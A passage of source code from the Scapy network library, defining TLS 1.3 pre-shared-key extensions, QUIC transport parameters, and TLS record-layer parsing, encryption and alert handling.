pkt: pkt.identities_len), FieldLenField("binders_len", None, length_of="binders"), PacketListField("binders", [], PSKBinderEntry, length_from=lambda pkt: pkt.binders_len)] class TLS_Ext_PreSharedKey_SH(TLS_Ext_Unknown): name = "TLS Extension - Pre Shared Key (for ServerHello)" fields_desc = [ShortEnumField("type", 0x29, _tls_ext), ShortField("len", None), ShortField("selected_identity", None)] _tls_ext_presharedkey_cls = {1: TLS_Ext_PreSharedKey_CH, 2: TLS_Ext_PreSharedKey_SH} # Util to find usable signature algorithms # TLS 1.3 SignatureScheme is a subset of _tls_hash_sig _tls13_usable_certificate_verify_algs = [ # ECDSA algorithms 0x0403, 0x0503, 0x0603, # RSASSA-PSS algorithms with public key OID rsaEncryption 0x0804, 0x0805, 0x0806, # EdDSA algorithms 0x0807, 0x0808, ] _tls13_usable_certificate_signature_algs = [ # RSASSA-PKCS1-v1_5 algorithms 0x0401, 0x0501, 0x0601, # ECDSA algorithms 0x0403, 0x0503, 0x0603, # EdDSA algorithms 0x0807, 0x0808, # RSASSA-PSS algorithms with public key OID RSASSA-PSS 0x0809, 0x080a, 0x080b, # Legacy algorithms 0x0201, 0x0203, ] def get_usable_tls13_sigalgs(li, key, location="certificateverify"): """ From a list of proposed signature algorithms, this function returns a list of usable signature algorithms. The order of the signature algorithms in the list returned by the function matches the one of the proposal. """ from scapy.layers.tls.keyexchange import _tls_hash_sig res = [] if isinstance(key, PrivKeyRSA): kx = "rsa" elif isinstance(key, PrivKeyECDSA): kx = "ecdsa" elif isinstance(key, PrivKeyEdDSA): if isinstance(key.pubkey.pubkey, ed25519.Ed25519PublicKey): kx = "ed25519" elif isinstance(key.pubkey.pubkey, ed448.Ed448PublicKey): kx = "ed448" else: kx = "unknown" else: return res if location == "certificateverify": algs = _tls13_usable_certificate_verify_algs elif location == "certificatesignature": algs = _tls13_usable_certificate_signature_algs else: return res for c in li: if c in algs: sigalg = _tls_hash_sig[c] if "+" in sigalg: _, sig = sigalg.split('+') else: sig = sigalg if kx in sig: res.append(c) return res ================================================ FILE: scapy/layers/tls/quic.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information """ RFC9000 QUIC Transport Parameters """ import struct from scapy.config import conf from scapy.fields import ( PacketListField, FieldLenField, StrLenField, ) from scapy.packet import Packet from scapy.layers.quic import ( QuicVarIntField, QuicVarLenField, QuicVarEnumField, ) _QUIC_TP_type = { 0x00: "original_destination_connection_id", 0x01: "max_idle_timeout", 0x02: "stateless_reset_token", 0x03: "max_udp_payload_size", 0x04: "initial_max_data", 0x05: "initial_max_stream_data_bidi_local", 0x06: "initial_max_stream_data_bidi_remote", 0x07: "initial_max_stream_data_uni", 0x08: "initial_max_streams_bidi", 0x09: "initial_max_streams_uni", 0x0A: "ack_delay_exponent", 0x0B: "max_ack_delay", 0x0C: "disable_active_migration", 0x0D: "preferred_address", 0x0E: "active_connection_id_limit", 0x0F: "initial_source_connection_id", 0x10: "retry_source_connection_id", } # Generic values class QUIC_TP_Unknown(Packet): name = "QUIC Transport Parameter - Scapy Unknown" fields_desc = [ QuicVarEnumField("type", None, _QUIC_TP_type), QuicVarLenField("len", None, length_of="value"), StrLenField("value", None, length_from=lambda pkt: pkt.len), ] def default_payload_class(self, _): return conf.padding_layer class _QUIC_VarInt_Len(FieldLenField): def i2m(self, pkt, x): if x is None and pkt is not None: fld, fval = pkt.getfield_and_val(self.length_of) value = fld.i2len(pkt, fval) or 0 if value < 0 or value > 0xFFFFFFFF: raise struct.error("requires 0 <= number <= 0xFFFFFFFF") if value < 0x100: return 1 elif value < 0x10000: return 2 elif value < 0x100000000: return 3 else: return 4 elif x is None: return 1 return x class _QUIC_TP_VarIntValue(QUIC_TP_Unknown): fields_desc = [ QuicVarEnumField("type", None, _QUIC_TP_type), _QUIC_VarInt_Len("len", None, length_of="value", fmt="B"), QuicVarIntField("value", None), ] # RFC 9000 sect 18.2 class QUIC_TP_OriginalDestinationConnectionId(QUIC_TP_Unknown): name = "QUIC Transport Parameters - Original Destination Connection Id" type = 0x00 class QUIC_TP_MaxIdleTimeout(_QUIC_TP_VarIntValue): name = "QUIC Transport Parameters - Max Idle Timeout" type = 0x01 class QUIC_TP_StatelessResetToken(QUIC_TP_Unknown): name = "QUIC Transport Parameters - Stateless Reset Token" type = 0x02 class QUIC_TP_MaxUdpPayloadSize(_QUIC_TP_VarIntValue): name = "QUIC Transport Parameters - Max Udp Payload Size" type = 0x03 class QUIC_TP_InitialMaxData(_QUIC_TP_VarIntValue): name = "QUIC Transport Parameters - Initial Max Data" type = 0x04 class QUIC_TP_InitialMaxStreamDataBidiLocal(_QUIC_TP_VarIntValue): name = "QUIC Transport Parameters - Initial Max Stream Data Bidi Local" type = 0x05 class QUIC_TP_InitialMaxStreamDataBidiRemote(_QUIC_TP_VarIntValue): name = "QUIC Transport Parameters - Initial Max Stream Data Bidi Remote" type = 0x06 class QUIC_TP_InitialMaxStreamDataUni(_QUIC_TP_VarIntValue): name = "QUIC Transport Parameters - Initial Max Stream Data Uni" type = 0x07 class QUIC_TP_InitialMaxStreamsBidi(_QUIC_TP_VarIntValue): name = "QUIC Transport Parameters - Initial Max Streams Bidi" type = 0x08 class QUIC_TP_InitialMaxStreamsUni(_QUIC_TP_VarIntValue): name = "QUIC Transport Parameters - Initial Max Streams Uni" type = 0x09 class QUIC_TP_AckDelayExponent(_QUIC_TP_VarIntValue): name = "QUIC Transport Parameters - Ack Delay Exponent" type = 0x0A class QUIC_TP_MaxAckDelay(_QUIC_TP_VarIntValue): name = "QUIC Transport Parameters - Max Ack Delay" type = 0x0B class QUIC_TP_DisableActiveMigration(QUIC_TP_Unknown): name = "QUIC Transport Parameters - Disable Active Migration" fields_desc = [ QuicVarEnumField("type", 0x0C, _QUIC_TP_type), QuicVarIntField("len", 0), ] class QUIC_TP_PreferredAddress(QUIC_TP_Unknown): name = "QUIC Transport Parameters - Preferred Address" type = 0x0D class QUIC_TP_ActiveConnectionIdLimit(_QUIC_TP_VarIntValue): name = "QUIC Transport Parameters - Active Connection Id Limit" type = 0x0E class QUIC_TP_InitialSourceConnectionId(QUIC_TP_Unknown): name = "QUIC Transport Parameters - Initial Source Connection Id" type = 0x0F class QUIC_TP_RetrySourceConnectionId(QUIC_TP_Unknown): name = "QUIC Transport Parameters - Retry Source Connection Id" type = 0x10 _QUIC_TP_cls = { 0x00: QUIC_TP_OriginalDestinationConnectionId, 0x01: QUIC_TP_MaxIdleTimeout, 0x02: QUIC_TP_StatelessResetToken, 0x03: QUIC_TP_MaxUdpPayloadSize, 0x04: QUIC_TP_InitialMaxData, 0x05: QUIC_TP_InitialMaxStreamDataBidiLocal, 0x06: QUIC_TP_InitialMaxStreamDataBidiRemote, 0x07: QUIC_TP_InitialMaxStreamDataUni, 0x08: QUIC_TP_InitialMaxStreamsBidi, 0x09: QUIC_TP_InitialMaxStreamsUni, 0x0A: QUIC_TP_AckDelayExponent, 0x0B: QUIC_TP_MaxAckDelay, 0x0C: QUIC_TP_DisableActiveMigration, 0x0D: QUIC_TP_PreferredAddress, 0x0E: QUIC_TP_ActiveConnectionIdLimit, 0x0F: QUIC_TP_InitialSourceConnectionId, 0x10: QUIC_TP_RetrySourceConnectionId, } class _QuicTransportParametersField(PacketListField): _varfield = QuicVarIntField("", 0) def __init__(self, name, default, **kwargs): kwargs["next_cls_cb"] = self.cls_from_quictptype super(_QuicTransportParametersField, self).__init__( name, default, **kwargs, ) @classmethod def cls_from_quictptype(cls, pkt, lst, cur, remain): _, typ = cls._varfield.getfield(None, remain) return _QUIC_TP_cls.get( typ, QUIC_TP_Unknown, ) ================================================ FILE: scapy/layers/tls/record.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # 2019 Romain Perez # 2019 Gabriel Potter """ Common TLS fields & bindings. This module covers the record layer, along with the ChangeCipherSpec, Alert and ApplicationData submessages. For the Handshake type, see tls_handshake.py. See the TLS class documentation for more information. """ import struct from scapy.config import conf from scapy.error import log_runtime from scapy.fields import ByteEnumField, PacketListField, StrField from scapy.compat import raw, chb, orb from scapy.utils import randstring from scapy.packet import Raw, Padding, bind_layers from scapy.layers.inet import TCP from scapy.layers.tls.session import _GenericTLSSessionInheritance from scapy.layers.tls.handshake import (_tls_handshake_cls, _TLSHandshake, _tls13_handshake_cls, TLS13ServerHello, TLS13ClientHello) from scapy.layers.tls.basefields import (_TLSVersionField, _tls_version, _TLSIVField, _TLSMACField, _TLSPadField, _TLSPadLenField, _TLSLengthField, _tls_type) from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp from scapy.layers.tls.crypto.cipher_aead import AEADTagError from scapy.layers.tls.crypto.cipher_stream import Cipher_NULL from scapy.layers.tls.crypto.common import CipherError from scapy.layers.tls.crypto.h_mac import HMACError if conf.crypto_valid_advanced: from scapy.layers.tls.crypto.cipher_aead import Cipher_CHACHA20_POLY1305 ############################################################################### # TLS Record Protocol # ############################################################################### class _TLSEncryptedContent(Raw, _GenericTLSSessionInheritance): """ When the content of a TLS record (more precisely, a TLSCiphertext) could not be deciphered, we use this class to represent the encrypted data. The MAC will still be parsed from the whole message, even though it could not been verified. When present (depending on cipher type and protocol version), the nonce_explicit, IV and/or padding will also be parsed. """ name = "Encrypted Content" match_subclass = True class _TLSMsgListField(PacketListField): """ This is the actual content of the TLS record. As a TLS record may pack multiple sublayer messages (notably, several handshake messages), we inherit from PacketListField. """ def __init__(self, name, default, length_from=None): if not length_from: length_from = self._get_length super(_TLSMsgListField, self).__init__(name, default, None, length_from=length_from) def _get_length(self, pkt): if pkt.deciphered_len is None: return pkt.len return pkt.deciphered_len def m2i(self, pkt, m): """ Try to parse one of the TLS subprotocols (ccs, alert, handshake or application_data). This is used inside a loop managed by .getfield(). """ cls = Raw if pkt.type == 22: if len(m) >= 1: msgtype = orb(m[0]) # If a version was agreed on by both client and server, # we use it (tls_session.tls_version) # Otherwise, if the client advertised for TLS 1.3, we try to # dissect the following packets (most likely, server hello) # using TLS 1.3. The serverhello is able to fallback on # TLS 1.2 if necessary. In any case, this will set the agreed # version so that all future packets are correct. if ((pkt.tls_session.advertised_tls_version == 0x0304 and pkt.tls_session.tls_version is None) or pkt.tls_session.tls_version == 0x0304): cls = _tls13_handshake_cls.get(msgtype, Raw) else: cls = _tls_handshake_cls.get(msgtype, Raw) elif pkt.type == 20: cls = TLSChangeCipherSpec elif pkt.type == 21: cls = TLSAlert elif pkt.type == 23: cls = TLSApplicationData if cls is Raw: return Raw(m) else: try: return cls(m, tls_session=pkt.tls_session) except Exception: if conf.debug_dissector: raise return Raw(m) def getfield(self, pkt, s): """ If the decryption of the content did not fail with a CipherError, we begin a loop on the clear content in order to get as much messages as possible, of the type advertised in the record header. This is notably important for several TLS handshake implementations, which may for instance pack a server_hello, a certificate, a server_key_exchange and a server_hello_done, all in one record. Each parsed message may update the TLS context through their method .post_dissection_tls_session_update(). If the decryption failed with a CipherError, presumably because we missed the session keys, we signal it by returning a _TLSEncryptedContent packet which simply contains the ciphered data. """ tmp_len = self.length_from(pkt) lst = [] ret = b"" remain = s if tmp_len is not None: remain, ret = s[:tmp_len], s[tmp_len:] if remain == b"": if (((pkt.tls_session.tls_version or 0x0303) > 0x0200) and hasattr(pkt, "type") and pkt.type == 23): return ret, [TLSApplicationData(data=b"")] elif hasattr(pkt, "type") and pkt.type == 20: return ret, [TLSChangeCipherSpec()] else: return ret, [Raw(load=b"")] if False in pkt.tls_session.rcs.cipher.ready.values(): return ret, _TLSEncryptedContent(remain) else: while remain: raw_msg = remain p = self.m2i(pkt, remain) if Padding in p: pad = p[Padding] remain = pad.load del pad.underlayer.payload if len(remain) != 0: raw_msg = raw_msg[:-len(remain)] else: remain = b"" if isinstance(p, _GenericTLSSessionInheritance): if not p.tls_session.frozen: p.post_dissection_tls_session_update(raw_msg) lst.append(p) return remain + ret, lst def i2m(self, pkt, p): """ Update the context with information from the built packet. If no type was given at the record layer, we try to infer it. """ cur = b"" if isinstance(p, _GenericTLSSessionInheritance): if pkt.type is None: if isinstance(p, TLSChangeCipherSpec): pkt.type = 20 elif isinstance(p, TLSAlert): pkt.type = 21 elif isinstance(p, _TLSHandshake): pkt.type = 22 elif isinstance(p, TLSApplicationData): pkt.type = 23 p.tls_session = pkt.tls_session if not pkt.tls_session.frozen: cur = p.raw_stateful() p.post_build_tls_session_update(cur) else: cur = raw(p) else: pkt.type = 23 cur = raw(p) return cur def addfield(self, pkt, s, val): """ Reconstruct the header because the TLS type may have been updated. Then, append the content. """ res = b"" for p in val: res += self.i2m(pkt, p) # Add TLS13ClientHello in case of HelloRetryRequest # Add ChangeCipherSpec for middlebox compatibility if (isinstance(pkt, _GenericTLSSessionInheritance) and pkt.tls_session.tls_version == 0x0304 and not isinstance(pkt.msg[0], TLS13ServerHello) and not isinstance(pkt.msg[0], TLS13ClientHello) and not isinstance(pkt.msg[0], TLSChangeCipherSpec)): return s + res if not pkt.type: pkt.type = 0 hdr = struct.pack("!B", pkt.type) + s[1:5] return hdr + res def _ssl_looks_like_sslv2(dat): """ This is a copycat of wireshark's `packet-tls.c` ssl_looks_like_sslv2 """ if len(dat) < 3: return from scapy.layers.tls.handshake_sslv2 import _sslv2_handshake_type return ord(dat[:1]) >= 0x80 and ord(dat[2:3]) in _sslv2_handshake_type class TLS(_GenericTLSSessionInheritance): """ The generic TLS Record message, based on section 6.2 of RFC 5246. When reading a TLS message, we try to parse as much as we can. In .pre_dissect(), according to the type of the current cipher algorithm (self.tls_session.rcs.cipher.type), we extract the 'iv', 'mac', 'pad' and 'padlen'. Some of these fields may remain blank: for instance, when using a stream cipher, there is no IV nor any padding. The 'len' should always hold the length of the ciphered message; for the plaintext version, you should rely on the additional 'deciphered_len' attribute. XXX Fix 'deciphered_len' which should not be defined when failing with AEAD decryption. This is related to the 'decryption_success' below. Also, follow this behaviour in record_sslv2.py and record_tls13.py Once we have isolated the ciphered message aggregate (which should be one or several TLS messages of the same type), we try to decipher it. Either we succeed and store the clear data in 'msg', or we graciously fail with a CipherError and store the ciphered data in 'msg'. Unless the user manually provides the session secrets through the passing of a 'tls_session', obviously the ciphered messages will not be deciphered. Indeed, the need for a proper context may also present itself when trying to parse clear handshake messages. For instance, suppose you sniffed the beginning of a DHE-RSA negotiation:: t1 = TLS() t2 = TLS() t3 = TLS(, tls_session=t1.tls_session) (Note that to do things properly, here 't1.tls_session' should actually be 't1.tls_session.mirror()'. See session.py for explanations.) As no context was passed to t2, neither was any client_random. Hence Scapy will not be able to verify the signature of the server_key_exchange inside t2. However, it should be able to do so for t3, thanks to the tls_session. The consequence of not having a complete TLS context is even more obvious when trying to parse ciphered content, as we described before. Thus, in order to parse TLS-protected communications with Scapy: _either Scapy reads every message from one side of the TLS connection and builds every message from the other side (as such, it should know the secrets needed for the generation of the pre_master_secret), while passing the same tls_session context (this is how our automaton.py mostly works); _or, if Scapy did not build any TLS message, it has to create a TLS context and feed it with secrets retrieved by whatever technique. Note that the knowing the private key of the server certificate will not be sufficient if a PFS ciphersuite was used. However, if you got a master_secret somehow, use it with tls_session.(w|r)cs.derive_keys() and leave the rest to Scapy. When building a TLS message with raw_stateful, we expect the tls_session to have the right parameters for ciphering. Else, .post_build() might fail. """ __slots__ = ["deciphered_len"] name = "TLS" fields_desc = [ByteEnumField("type", None, _tls_type), _TLSVersionField("version", None, _tls_version), _TLSLengthField("len", None), _TLSIVField("iv", None), _TLSMsgListField("msg", []), _TLSMACField("mac", None), _TLSPadField("pad", None), _TLSPadLenField("padlen", None)] def __init__(self, *args, **kargs): self.deciphered_len = kargs.get("deciphered_len", None) super(TLS, self).__init__(*args, **kargs) @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): """ If the TLS class was called on raw SSLv2 data, we want to return an SSLv2 record instance. We acknowledge the risk of SSLv2 packets with a msglen of 0x1403, 0x1503, 0x1603 or 0x1703 which will never be casted as SSLv2 records but TLS ones instead, but hey, we can't be held responsible for low-minded extensibility choices. """ if _pkt is not None: plen = len(_pkt) if plen >= 2: byte0, byte1 = struct.unpack("BB", _pkt[:2]) s = kargs.get("tls_session", None) if byte0 not in _tls_type or byte1 != 3: # Unknown type # Check SSLv2: either the session is already SSLv2, # either the packet looks like one. As said above, this # isn't 100% reliable, but Wireshark does the same if s and (s.tls_version == 0x0002 or s.advertised_tls_version == 0x0002) or \ (_ssl_looks_like_sslv2(_pkt) and (not s or s.tls_version is None)): from scapy.layers.tls.record_sslv2 import SSLv2 return SSLv2 # Not SSLv2: continuation return _TLSEncryptedContent if plen >= 5: # Check minimum length msglen = struct.unpack('!H', _pkt[3:5])[0] + 5 if plen < msglen: # This is a fragment return conf.padding_layer # Check TLS 1.3 if s and s.tls_version == 0x0304: _has_cipher = lambda x: ( x and not isinstance(x.cipher, Cipher_NULL) ) if (_has_cipher(s.rcs) or _has_cipher(s.prcs)) and \ byte0 == 0x17: from scapy.layers.tls.record_tls13 import TLS13 return TLS13 if plen < 5: # Layer detected as TLS but too small to be a # parsed. Scapy should not try to decode them return _TLSEncryptedContent return TLS # Parsing methods def _tls_auth_decrypt(self, hdr, s): """ Provided with the record header and AEAD-ciphered data, return the sliced and clear tuple (nonce, TLSCompressed.fragment, mac). Note that we still return the slicing of the original input in case of decryption failure. Also, if the integrity check fails, a warning will be issued, but we still return the sliced (unauthenticated) plaintext. """ try: read_seq_num = struct.pack("!Q", self.tls_session.rcs.seq_num) self.tls_session.rcs.seq_num += 1 # self.type and self.version have not been parsed yet, # this is why we need to look into the provided hdr. add_data = read_seq_num + hdr[:3] # Last two bytes of add_data are appended by the return function return self.tls_session.rcs.cipher.auth_decrypt(add_data, s, read_seq_num) except CipherError as e: return e.args except AEADTagError as e: pkt_info = self.firstlayer().summary() log_runtime.info("TLS: record integrity check failed [%s]", pkt_info) # noqa: E501 return e.args def _tls_decrypt(self, s): """ Provided with stream- or block-ciphered data, return the clear version. The cipher should have been updated with the right IV early on, which should not be at the beginning of the input. In case of decryption failure, a CipherError will be raised with the slicing of the original input as first argument. """ return self.tls_session.rcs.cipher.decrypt(s) def _tls_hmac_verify(self, hdr, msg, mac): """ Provided with the record header, the TLSCompressed.fragment and the HMAC, return True if the HMAC is correct. If we could not compute the HMAC because the key was missing, there is no sense in verifying anything, thus we also return True. Meant to be used with a block cipher or a stream cipher. It would fail with an AEAD cipher, because rcs.hmac would be None. See RFC 5246, section 6.2.3. """ read_seq_num = struct.pack("!Q", self.tls_session.rcs.seq_num) self.tls_session.rcs.seq_num += 1 mac_len = self.tls_session.rcs.mac_len if mac_len == 0: # should be TLS_NULL_WITH_NULL_NULL return True if len(mac) != mac_len: return False alg = self.tls_session.rcs.hmac version = struct.unpack("!H", hdr[1:3])[0] try: if version > 0x300: h = alg.digest(read_seq_num + hdr + msg) elif version == 0x300: h = alg.digest_sslv3(read_seq_num + hdr[:1] + hdr[3:5] + msg) else: raise Exception("Unrecognized version.") except HMACError: h = mac return h == mac def _tls_decompress(self, s): """ Provided with the TLSCompressed.fragment, return the TLSPlaintext.fragment. """ alg = self.tls_session.rcs.compression return alg.decompress(s) def pre_dissect(self, s): """ Decrypt, verify and decompress the message, i.e. apply the previous methods according to the reading cipher type. If the decryption was successful, 'len' will be the length of the TLSPlaintext.fragment. Else, it should be the length of the _TLSEncryptedContent. """ if len(s) < 5: raise Exception("Invalid record: header is too short.") msglen = struct.unpack('!H', s[3:5])[0] hdr, efrag, r = s[:5], s[5:5 + msglen], s[msglen + 5:] iv = mac = pad = b"" self.padlen = None decryption_success = False cipher_type = self.tls_session.rcs.cipher.type def extract_mac(data): """Extract MAC.""" tmp_len = self.tls_session.rcs.mac_len if tmp_len != 0: frag, mac = data[:-tmp_len], data[-tmp_len:] else: frag, mac = data, b"" return frag, mac def verify_mac(hdr, cfrag, mac): """Verify integrity.""" chdr = hdr[:3] + struct.pack('!H', len(cfrag)) is_mac_ok = self._tls_hmac_verify(chdr, cfrag, mac) if not is_mac_ok: pkt_info = self.firstlayer().summary() log_runtime.info( "TLS: record integrity check failed [%s]", pkt_info, ) if cipher_type == 'block': version = struct.unpack("!H", s[1:3])[0] if self.tls_session.encrypt_then_mac: efrag, mac = extract_mac(efrag) verify_mac(hdr, efrag, mac) # Decrypt try: if version >= 0x0302: # Explicit IV for TLS 1.1 and 1.2 block_size = self.tls_session.rcs.cipher.block_size iv, efrag = efrag[:block_size], efrag[block_size:] self.tls_session.rcs.cipher.iv = iv pfrag = self._tls_decrypt(efrag) else: # Implicit IV for SSLv3 and TLS 1.0 pfrag = self._tls_decrypt(efrag) except CipherError as e: # This will end up dissected as _TLSEncryptedContent. cfrag = e.args[0] else: decryption_success = True # Excerpt below better corresponds to TLS 1.1 IV definition, # but the result is the same as with TLS 1.2 anyway. # This leading *IV* has been decrypted by _tls_decrypt with a # random IV, hence it does not correspond to anything. # What actually matters is that we got the first encrypted block # noqa: E501 # in order to decrypt the second block (first data block). # if version >= 0x0302: # block_size = self.tls_session.rcs.cipher.block_size # iv, pfrag = pfrag[:block_size], pfrag[block_size:] # l = struct.unpack('!H', hdr[3:5])[0] # hdr = hdr[:3] + struct.pack('!H', l-block_size) # Extract padding ('pad' actually includes the trailing padlen) padlen = orb(pfrag[-1]) + 1 mfrag, pad = pfrag[:-padlen], pfrag[-padlen:] self.padlen = padlen if self.tls_session.encrypt_then_mac: cfrag = mfrag else: cfrag, mac = extract_mac(mfrag) verify_mac(hdr, cfrag, mac) elif cipher_type == 'stream': # Decrypt try: pfrag = self._tls_decrypt(efrag) except CipherError as e: # This will end up dissected as _TLSEncryptedContent. cfrag = e.args[0] else: decryption_success = True cfrag, mac = extract_mac(pfrag) verify_mac(hdr, cfrag, mac) elif cipher_type == 'aead': # Authenticated encryption # crypto/cipher_aead.py prints a warning for integrity failure if (conf.crypto_valid_advanced and isinstance(self.tls_session.rcs.cipher, Cipher_CHACHA20_POLY1305)): # noqa: E501 iv = b"" cfrag, mac = self._tls_auth_decrypt(hdr, efrag) else: iv, cfrag, mac = self._tls_auth_decrypt(hdr, efrag) decryption_success = True # see XXX above frag = self._tls_decompress(cfrag) if decryption_success: self.deciphered_len = len(frag) else: self.deciphered_len = None reconstructed_body = iv + frag + mac + pad return hdr + reconstructed_body + r def post_dissect(self, s): """ Commit the pending r/w state if it has been triggered (e.g. by an underlying TLSChangeCipherSpec or a SSLv2ClientMasterKey). We update nothing if the prcs was not set, as this probably means that we're working out-of-context (and we need to keep the default rcs). """ if (self.tls_session.tls_version and self.tls_session.tls_version <= 0x0303): if self.tls_session.triggered_prcs_commit: if self.tls_session.prcs is not None: self.tls_session.rcs = self.tls_session.prcs self.tls_session.prcs = None self.tls_session.triggered_prcs_commit = False if self.tls_session.triggered_pwcs_commit: if self.tls_session.pwcs is not None: self.tls_session.wcs = self.tls_session.pwcs self.tls_session.pwcs = None self.tls_session.triggered_pwcs_commit = False return s def do_dissect_payload(self, s): """ Try to dissect the following data as a TLS message. Note that overloading .guess_payload_class() would not be enough, as the TLS session to be used would get lost. """ if s: # Check minimum length if len(s) < 5: p = conf.raw_layer(s, _internal=1, _underlayer=self) self.add_payload(p) return msglen = struct.unpack('!H', s[3:5])[0] + 5 if len(s) < msglen: # This is a fragment self.add_payload(conf.padding_layer(s)) return try: p = TLS(s, _internal=1, _underlayer=self, tls_session=self.tls_session) except KeyboardInterrupt: raise except Exception: if conf.debug_dissector: raise p = conf.raw_layer(s, _internal=1, _underlayer=self) self.add_payload(p) # Building methods def _tls_compress(self, s): """ Provided with the TLSPlaintext.fragment, return the TLSCompressed.fragment. """ alg = self.tls_session.wcs.compression return alg.compress(s) def _tls_auth_encrypt(self, s): """ Return the TLSCiphertext.fragment for AEAD ciphers, i.e. the whole GenericAEADCipher. Also, the additional data is computed right here. """ write_seq_num = struct.pack("!Q", self.tls_session.wcs.seq_num) self.tls_session.wcs.seq_num += 1 add_data = (write_seq_num + pkcs_i2osp(self.type, 1) + pkcs_i2osp(self.version, 2) + pkcs_i2osp(len(s), 2)) return self.tls_session.wcs.cipher.auth_encrypt(s, add_data, write_seq_num) def _tls_hmac_add(self, hdr, msg): """ Provided with the record header (concatenation of the TLSCompressed type, version and length fields) and the TLSCompressed.fragment, return the concatenation of the TLSCompressed.fragment and the HMAC. Meant to be used with a block cipher or a stream cipher. It would fail with an AEAD cipher, because wcs.hmac would be None. See RFC 5246, section 6.2.3. """ write_seq_num = struct.pack("!Q", self.tls_session.wcs.seq_num) self.tls_session.wcs.seq_num += 1 alg = self.tls_session.wcs.hmac version = struct.unpack("!H", hdr[1:3])[0] if version > 0x300: h = alg.digest(write_seq_num + hdr + msg) elif version == 0x300: h = alg.digest_sslv3(write_seq_num + hdr[:1] + hdr[3:5] + msg) else: raise Exception("Unrecognized version.") return msg + h def _tls_pad(self, s): """ Provided with the concatenation of the TLSCompressed.fragment and the HMAC, append the right padding and return it as a whole. This is the TLS-style padding: while SSL allowed for random padding, TLS (misguidedly) specifies the repetition of the same byte all over, and this byte must be equal to len() - 1. Meant to be used with a block cipher only. """ padding = b"" block_size = self.tls_session.wcs.cipher.block_size padlen = block_size - ((len(s) + 1) % block_size) if padlen == block_size: padlen = 0 pad_pattern = chb(padlen) padding = pad_pattern * (padlen + 1) return s + padding def _tls_encrypt(self, s): """ Return the stream- or block-ciphered version of the concatenated input. In case of GenericBlockCipher, no IV has been specifically prepended to the output, so this might not be the whole TLSCiphertext.fragment yet. """ return self.tls_session.wcs.cipher.encrypt(s) def post_build(self, pkt, pay): """ Apply the previous methods according to the writing cipher type. """ # Compute the length of TLSPlaintext fragment hdr, frag = pkt[:5], pkt[5:] tmp_len = len(frag) hdr = hdr[:3] + struct.pack("!H", tmp_len) # Compression cfrag = self._tls_compress(frag) tmp_len = len(cfrag) # Update the length as a result of compression hdr = hdr[:3] + struct.pack("!H", tmp_len) cipher_type = self.tls_session.wcs.cipher.type if cipher_type == 'block': # Integrity if not self.tls_session.encrypt_then_mac: cfrag = self._tls_hmac_add(hdr, cfrag) # Excerpt below better corresponds to TLS 1.1 IV definition, # but the result is the same as with TLS 1.2 anyway. # if self.version >= 0x0302: # l = self.tls_session.wcs.cipher.block_size # iv = randstring(l) # mfrag = iv + mfrag # Add padding pfrag = self._tls_pad(cfrag) # Encryption if self.version >= 0x0302: # Explicit IV for TLS 1.1 and 1.2 tmp_len = self.tls_session.wcs.cipher.block_size iv = randstring(tmp_len) self.tls_session.wcs.cipher.iv = iv efrag = self._tls_encrypt(pfrag) efrag = iv + efrag else: # Implicit IV for SSLv3 and TLS 1.0 efrag = self._tls_encrypt(pfrag) if self.tls_session.encrypt_then_mac: efrag = self._tls_hmac_add(hdr, efrag) elif cipher_type == "stream": # Integrity mfrag = self._tls_hmac_add(hdr, cfrag) # Encryption efrag = self._tls_encrypt(mfrag) elif cipher_type == "aead": # Authenticated encryption (with nonce_explicit as header) efrag = self._tls_auth_encrypt(cfrag) if self.len is not None: # The user gave us a 'len', let's respect this ultimately hdr = hdr[:3] + struct.pack("!H", self.len) else: # Update header with the length of TLSCiphertext.fragment hdr = hdr[:3] + struct.pack("!H", len(efrag)) # Now we commit the pending write state if it has been triggered (e.g. # by an underlying TLSChangeCipherSpec or a SSLv2ClientMasterKey). We # update nothing if the pwcs was not set. This probably means that # we're working out-of-context (and we need to keep the default wcs). if self.tls_session.triggered_pwcs_commit: if self.tls_session.pwcs is not None: self.tls_session.wcs = self.tls_session.pwcs self.tls_session.pwcs = None self.tls_session.triggered_pwcs_commit = False return hdr + efrag + pay def mysummary(self): s, n = super(TLS, self).mysummary() if self.msg: s += " / " s += " / ".join(getattr(x, "_name", x.name) for x in self.msg) return s, n ############################################################################### # TLS ChangeCipherSpec # ############################################################################### _tls_changecipherspec_type = {1: "change_cipher_spec"} class TLSChangeCipherSpec(_GenericTLSSessionInheritance): """ Note that, as they are not handshake messages, the ccs messages do not get appended to the list of messages whose integrity gets verified through the Finished messages. """ name = "TLS ChangeCipherSpec" fields_desc = [ByteEnumField("msgtype", 1, _tls_changecipherspec_type)] def post_dissection_tls_session_update(self, msg_str): self.tls_session.triggered_prcs_commit = True def post_build_tls_session_update(self, msg_str): # Unlike for dissection case, we cannot commit pending write # state as current write state. We need to delay this after # the ChangeCipherSpec message has indeed been sent self.tls_session.triggered_pwcs_commit = True ############################################################################### # TLS Alert # ############################################################################### _tls_alert_level = {1: "warning", 2: "fatal"} _tls_alert_description = { 0: "close_notify", 10: "unexpected_message", 20: "bad_record_mac", 21: "decryption_failed", 22: "record_overflow", 30: "decompression_failure", 40: "handshake_failure", 41: "no_certificate_RESERVED", 42: "bad_certificate", 43: "unsupported_certificate", 44: "certificate_revoked", 45: "certificate_expired", 46: "certificate_unknown", 47: "illegal_parameter", 48: "unknown_ca", 49: "access_denied", 50: "decode_error", 51: "decrypt_error", 60: "export_restriction_RESERVED", 70: "protocol_version", 71: "insufficient_security", 80: "internal_error", 86: "inappropriate_fallback", 90: "user_canceled", 100: "no_renegotiation", 109: "missing_extension", 110: "unsupported_extension", 111: "certificate_unobtainable", 112: "unrecognized_name", 113: "bad_certificate_status_response", 114: "bad_certificate_hash_value", 115: "unknown_psk_identity", 116: "certificate_required", 120: "no_application_protocol"} class TLSAlert(_GenericTLSSessionInheritance): name = "TLS Alert" fields_desc = [ByteEnumField("level", None, _tls_alert_level), ByteEnumField("descr", None, _tls_alert_description)] def mysummary(self): return self.sprintf("Alert %level%: %descr%") def post_dissection_tls_session_update(self, msg_str): pass def post_build_tls_session_update(self, msg_str): pass ############################################################################### # TLS Application Data # ############################################################################### class TLSApplicationData(_GenericTLSSessionInheritance): name = 